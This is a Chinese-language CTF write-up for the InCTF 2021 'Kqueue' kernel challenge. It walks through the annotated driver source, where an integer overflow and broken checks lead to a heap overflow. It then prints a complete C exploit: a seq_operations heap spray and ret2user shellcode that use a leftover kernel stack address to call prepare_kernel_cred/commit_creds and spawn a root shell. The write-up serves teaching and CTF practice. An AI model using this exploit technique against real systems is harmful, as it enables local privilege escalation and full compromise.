【ret2user】InCTF2021-Kqueue

前言

这题给了源码,感觉代码的问题很大。然后题目不算难,但是最后 ret2user 执行的代码很有意思。这里的思路是参考的 Roland_ 大佬的思路:[原创]InCTF 内核Pwn之 Kqueue-Pwn-看雪-安全社区|安全招聘|kanxue.com

最后不去泄漏 kernel_offset,直接利用 ret2user 时,内核栈上残留的内核地址进行提权,这个思路非常妙,可以说是情理之中意料之外,当然可能是我太菜(压上了)。

漏洞分析

保护:就开了个 kalsr 随机化保护。smep/smap/pti 全关了。所以可以直接 ret2user 了

然后内核版本为 v5.8.1,然后这个题目是 2021 年的,所以该内核应该存在 dirty pipe 漏洞,经过测试的确如此:这里并不利用该 nday 直接打

然后题目给了源码,还是比较给力的,这里源码我全注释了,就不一一解释了。

题目主要实现了一个菜单,有增、删、改、复制的功能,其中主要维护了以下结构:

create_kqueue 函数

该函数就是去创建上述结构的,其中用户传入 request_t 结构体指针。这里有意思的是程序中有一些错误检测,当不满足时都会调用 err,但是这里 err 仅仅是输出一个字符串后就返回,而不是 exit。这就导致整个程序的检测几乎都无效。

/*
typedef struct{
    uint32_t max_entries;
    uint16_t data_size;
    uint16_t entry_idx;
    uint16_t queue_idx;
    char* data;
}request_t;
*/

static noinline long create_kqueue(request_t request){
    long result = INVALID;
	// 这里的 err 单纯打印一个字符串....
    if(queueCount > MAX_QUEUES)
        err("[-] Max queue count reached");

    /* You can't ask for 0 queues , how meaningless */
    if(request.max_entries<1)
        err("[-] kqueue entries should be greater than 0");

    /* Asking for too much is also not good */
	// #define MAX_DATA_SIZE 0x20
    if(request.data_size>MAX_DATA_SIZE)
        err("[-] kqueue data size exceed");

    /* Initialize kqueue_entry structure */
    queue_entry *kqueue_entry;

    /* Check if multiplication of 2 64 bit integers results in overflow */
    ull space = 0;
	// space = sizeof(queue_entry) * (request.max_entries+1)
	// __builtin_umulll_overflow 检测了乘法结果是否发生溢出
	// 但是 request.max_entries+1 可能存在溢出
    if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true)
        err("[-] Integer overflow");

    /* Size is the size of queue structure + size of entry * request entries */
    ull queue_size = 0;
	// queue_size = sizeof(queue) + space
    if(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)
        err("[-] Integer overflow");

    /* Total size should not exceed a certain limit */
    if(queue_size>sizeof(queue) + 0x10000)
        err("[-] Max kqueue alloc limit reached");

    /* All checks done , now call kzalloc */
	// validate 就是对 err 的一个封装,所以这题相当于没检测
    queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));

    /* Main queue can also store data */
    queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));

    /* Fill the remaining queue structure */
    queue->data_size   = request.data_size;
    queue->max_entries = request.max_entries;
    queue->queue_size  = queue_size;

    /* Get to the place from where memory has to be handled */
	// 这里的 queue 是局部变量 queue* 指针而不是 queue 结构体
	// 所以 sizeof(queue) = sizeof(queue*) = 8
	// 所以这里其实就是 (queue_entry *)(queue + 1)
	// 不知道为啥要写这么蹩脚的代码......是我太菜了
    kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));

    /* Allocate all kqueue entries */
    queue_entry* current_entry = kqueue_entry;
    queue_entry* prev_entry = current_entry;

    uint32_t i=1;
	// 看到这里,我知道了 request.max_entries+1 溢出这个漏洞是故意给的了
    for(i=1;i<request.max_entries+1;i++){
        if(i!=request.max_entries)
            prev_entry->next = NULL;
        current_entry->idx = i;
        current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));

        /* Increment current_entry by size of queue_entry */
        current_entry += sizeof(queue_entry)/16;

        /* Populate next pointer of the previous entry */
        prev_entry->next = current_entry;
        prev_entry = prev_entry->next;
    }

    /* Find an appropriate slot in kqueues */
    uint32_t j = 0;
    for(j=0;j<MAX_QUEUES;j++){
        if(kqueues[j] == NULL)
            break;
    }

    if(j>MAX_QUEUES) // j == MAX_QUEUES 就不检测了???
        err("[-] No kqueue slot left");

    /* Assign the newly created kqueue to the kqueues */
    kqueues[j] = queue; // ? 这不数组越界???
    queueCount++;
    result = 0;
    return result;
}

漏洞点:request.max_entries+1 可能发生溢出,比如 request.max_entries = 0xffffffff,这是仅仅寄宿创建了一个 queue 头,但是 queue 中存的是 request.max_entries。

delete_kqueue 函数

static noinline long delete_kqueue(request_t request){
    /* Check for out of bounds requests */
    if(request.queue_idx>MAX_QUEUES)
        err("[-] Invalid idx");

    /* Check for existence of the request kqueue */
    queue *queue = kqueues[request.queue_idx];
    if(!queue)
        err("[-] Requested kqueue does not exist");
    
    kfree(queue);
    memset(queue,0,queue->queue_size); // ?? 释放之后把内容清空了 ?? 这啥操作
    kqueues[request.queue_idx] = NULL; // data 也没释放???
    return 0;
}

edit_kqueue 函数

static noinline long edit_kqueue(request_t request){
    /* Check the idx of the kqueue */
    if(request.queue_idx > MAX_QUEUES)
        err("[-] Invalid kqueue idx");

    /* Check if the kqueue exists at that idx */
    queue *queue = kqueues[request.queue_idx];
    if(!queue)
        err("[-] kqueue does not exist");

    /* Check the idx of the kqueue entry */
    if(request.entry_idx > queue->max_entries)
        err("[-] Invalid kqueue entry_idx");

    /* Get to the kqueue entry memory */
    queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);

    /* Check for the existence of the kqueue entry */
    exists = false;
    uint32_t i=1;
    for(i=1;i<queue->max_entries+1;i++){
        
        /* If kqueue entry found , do the necessary */
        if(kqueue_entry && request.data && queue->data_size){
            if(kqueue_entry->idx == request.entry_idx){
                validate(memcpy(kqueue_entry->data,request.data,queue->data_size));
                exists = true;
            }
        }
        kqueue_entry = kqueue_entry->next;
    }

    /* What if the idx is 0, it means we have to update the main kqueue's data */
    if(request.entry_idx==0 && kqueue_entry && request.data && queue->data_size){
        validate(memcpy(queue->data,request.data,queue->data_size));
        return 0;
    }

    if(!exists)
        return NOT_EXISTS;
    return 0;
} 

save_kqueue 函数

该函数会根据 queue->queue_size 创建一个新的 obj,然后以 request.max_entries 来将其 data 的内容复制到新的 obj 中。并且这里复制的大小由用户控制,虽然做了检测,但是上面说了,err 没啥用,所以这里存在堆溢出。

/* Now you have the option to safely preserve your precious kqueues */
static noinline long save_kqueue_entries(request_t request){

    /* Check for out of bounds queue_idx requests */
    if(request.queue_idx > MAX_QUEUES)
        err("[-] Invalid kqueue idx");

    /* Check if queue is already saved or not */
    if(isSaved[request.queue_idx]==true)
        err("[-] Queue already saved");

    queue *queue = validate(kqueues[request.queue_idx]);

    /* Check if number of requested entries exceed the existing entries */
    if(request.max_entries < 1 || request.max_entries > queue->max_entries)
        err("[-] Invalid entry count");

    /* Allocate memory for the kqueue to be saved */
    char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));

    /* Each saved entry can have its own size */
	// 这里对 request.data_size 的检测存在问题
    if(request.data_size > queue->queue_size)
        err("[-] Entry size limit exceed");

    /* Copy main's queue's data */
	//这里对 request.data_size 的检测是 "request.data_size > queue->queue_size"
	// 这里很明显的错误,应该是 "request.data_size > queue->data_size"
	// 所以这里也会导致堆溢出
    if(queue->data && request.data_size)
        validate(memcpy(new_queue,queue->data,request.data_size));
    else
        err("[-] Internal error");
    new_queue += queue->data_size;

    /* Get to the entries of the kqueue */
    queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);

    /* copy all possible kqueue entries */
    uint32_t i=0;
	// 1)
	// 这里就变成 request.max_entries+1 而不是 queue->max_entries+1 了
	// 所以这里结合上面的整数溢出就导致了堆溢出
	// 比如最开始传入 max_entries 为 0xffffffff,那么 queue->max_entries+1=0
	// 这时就分配了一个 queue 头,在 edit 和 add 后面都是不存在问题的,因为其使用的也是 queue->max_entries+1
	// 但是在 save 中,却使用了 request.max_entries+1,这里 request.max_entries+1 可不为0了
	// 所以这里会导致堆溢出
	// 2)
	// 并且这里对 request.data_size 的检测是 "request.data_size > queue->queue_size"
	// 这里很明显的错误,应该是 "request.data_size > queue->data_size"
	// 所以这里也会导致堆溢出
    for(i=1;i<request.max_entries+1;i++){
        if(!kqueue_entry || !kqueue_entry->data)
            break;
        if(kqueue_entry->data && request.data_size)
            validate(memcpy(new_queue,kqueue_entry->data,request.data_size));
        else
            err("[-] Internal error");
        kqueue_entry = kqueue_entry->next;
        new_queue += queue->data_size;
    }

    /* Mark the queue as saved */
    isSaved[request.queue_idx] = true;
    return 0;
}

漏洞利用

经过上面的分析,我们可以利用如下思路:

1)add,其中传入的 max_entries = 0xffffffff,data_size = 0x20*8(这里随你)此时仅仅创建一个 0x20 的 queue 和一个 data_size 大小的 data,但是其保存的 max_entries 是 0xffffffff 

2)利用 save 功能,此时会创建一个 queue_size = 0x20 大小的新 obj,然后将 queue->data 的数据复制到这个 obj 上,但是复制的数据长度是用户可控的,并且 err 检测没有实质性的作用。 

所以我们可以提前堆喷大量的 seq_operations(即 seq_file 文件的利用,这里 seq_operations 的大小也是 0x20,读者有问题可以参考我之前的文章)形成如下布局:

这是发生溢出的话就会覆盖 seq_operations 中的指针,如果将 seq_operations->start 覆盖为用户空间的一个地址的话,就可以实现 ret2user 了。

但是这里比较关键的就是如何进行提权,题目开了 kaslr,所以该如何泄漏 kernel_offset 呢?这里大佬给了一种方案。

因为是 ret2user,所以在执行用户空间代码时用的还是内核栈,所以可以在利用内核栈上残留的内核地址去计算出 commit_creds/prepare_kernel_cred 的函数地址。经过测试 rsp+8 位置存在一个固定的内核地址:0xffffffff81201179

exp 如下:
 

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>

#define CREATE  0xDEADC0DE
#define EDIT    0xDAADEEEE
#define DELETE  0xBADDCAFE
#define SAVE    0xB105BABE

typedef struct{
    uint32_t max_entries;
    uint16_t data_size;
    uint16_t entry_idx;
    uint16_t queue_idx;
    char* data;
}request_t;

int fd;
void add(uint32_t max_entries, uint16_t data_size)
{
        request_t req = { .max_entries = max_entries, .data_size = data_size };
        ioctl(fd, CREATE, &req);
}

void edit(uint16_t queue_idx, uint16_t entry_idx, char* data)
{
        request_t req = { .queue_idx = queue_idx, .entry_idx = entry_idx, .data = data};
        ioctl(fd, EDIT, &req);
}

void dele(uint16_t queue_idx)
{
        request_t req = { .queue_idx = queue_idx };
        ioctl(fd, DELETE, &req);
}

void save(uint16_t queue_idx, uint32_t max_entries, uint16_t data_size)
{
        request_t req = { .queue_idx = queue_idx, .max_entries = max_entries, .data_size = data_size };
        ioctl(fd, SAVE, &req);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void get_root_shell()
{
        puts("[+] Get Root Shell");
        printf("[+] UID: %d\n", getuid());
        system("/bin/sh");
}

size_t rrip;
size_t kernel_addr;
void shellcode()
{
/*
[rsp+8] = 0x0xffffffff81201179
>>> hex(elf.sym.commit_creds)
'0xffffffff8108c140'
>>> hex(elf.sym.prepare_kernel_cred)
'0xffffffff8108c580'
*/
        asm(
        "mov r14, [rsp+0x8];"
        "mov kernel_addr, r14;"
        "sub r14, 0x174bf9;" // prepare_kernel_cred
        "mov rdi, 0;"
        "call r14;"
        "mov rdi, rax;"
        "mov r14, kernel_addr;"
        "sub r14, 0x175039;" // commit_creds
        "call r14;"
        "swapgs;"
        "mov r14, user_ss;"
        "push r14;"
        "mov r14, user_sp;"
        "push r14;"
        "mov r14, user_rflags;"
        "push r14;"
        "mov r14, user_cs;"
        "push r14;"
        "mov r14, rrip;"
        "push r14;"
        "iretq"
        );

}

int main(int argc, char** argv, char** env)
{

        save_status();
        int seq_fd[0x200];
        uint64_t buf[0x20];

        rrip = get_root_shell;
        if ((fd = open("/dev/kqueue", O_RDONLY)) < 0) err_exit("FAILED to open dev file");
        for (int i = 0; i < 0x20; i++) buf[i] = shellcode;

        add(0xffffffff, 0x20*8);
        edit(0, 0, buf);

        for (int i = 0; i < 0x200; i++)
                if ((seq_fd[i] = open("/proc/self/stat", O_RDONLY)) < 0)
                        err_exit("FAILED to open seq file");

        save(0, 0, 0x80);
        for (int i = 0; i < 0x200; i++)
                read(seq_fd[i], buf, 1);

        puts("[+] NEVER EXP END");
        return 0;
}

效果如下:

  • 25
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值